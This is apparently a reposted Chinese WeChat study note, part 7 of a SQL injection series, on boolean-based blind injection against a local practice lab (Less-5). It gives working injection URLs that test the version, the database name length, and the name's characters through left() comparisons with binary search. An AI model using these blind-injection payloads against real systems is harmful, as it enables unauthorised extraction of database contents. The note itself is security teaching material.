sqli学习笔记-07
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
从这一关开始学习盲注。结合前面两讲所补充的知识点,将上面所使用的payload展示一下使用方法。
正文
从源代码中可以 看到,运行返回结果正确的时候只返回youare in....,不会返回数据库当中的信息了(所以这里不能用前面几讲的方法)
-
利用 left(database(),1)进行尝试
http://localhost:8888/Less-5/?id=1%27and%20left(version(),1)=1%23
查看一下当前数据库版本:
root@00dbbe61c347:/bin# mysql -V
mysql Ver 15.1 Distrib 10.10.2-MariaDB, for debian-linux-gnu (x86_64) using EditLine wrapper
按道理来说,这里的语句的意思是看版本号的第一位,但是我这里显示为1的时候是正确的
当版本号不正确的时候,则不能正确显示 you are in......
接下来看一下数据库的长度
http://localhost:8888/Less-5/?id=1%27and%20length(database())=8%23
长度为 8 时,返回正确结果,说明长度为 8.
猜测数据库第一位
http://localhost:8888/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+
Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当 我们不知情的情况下,可以用二分法来提高注入的效率。
猜测数据库第二位
得知第一位为 s,我们看前两位是否大于 sa
http://localhost:8888/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+
往下的请举一反三,因有人问过此类问题,不知道该怎么进行第二位第三位。这里对于这个 问题只讲一次,以后就不会再说这个问题。要有自我思考的能力和意识。
往期回顾
原文始发于微信公众号(迪哥讲事):sqli学习笔记-07
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论